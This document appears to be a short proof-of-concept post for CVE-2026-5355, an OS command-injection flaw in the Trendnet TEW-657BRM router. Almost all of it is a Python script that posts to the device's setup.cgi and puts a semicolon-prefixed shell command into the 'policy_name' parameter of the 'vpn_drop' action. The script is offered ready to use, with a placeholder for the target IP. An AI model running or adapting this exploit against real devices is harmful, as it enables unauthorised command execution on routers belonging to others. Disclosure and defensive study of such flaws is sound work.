CVE-2026-5355: Trendnet TEW-657BRM OS命令注入漏洞

import requests def exploit_poc(target_ip): # Target URL pointing to the vulnerable setup.cgi url = f"http://{target_ip}/setup.cgi" # Payload attempting to inject a command using a semicolon # The vulnerable parameter is 'policy_name' within the 'vpn_drop' action # Example payload: '; touch /tmp/pwned # payload = "; echo 'CVE-2026-5355 POC' > /tmp/poc.txt #" data = { "next_page": "", "this_page": "", "action": "vpn_drop", "policy_name": payload } try: response = requests.post(url, data=data, timeout=5) if response.status_code == 200: print(f"[+] Payload sent to {target_ip}. Check if command executed.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "192.168.0.1" # Replace with actual target IP exploit_poc(target)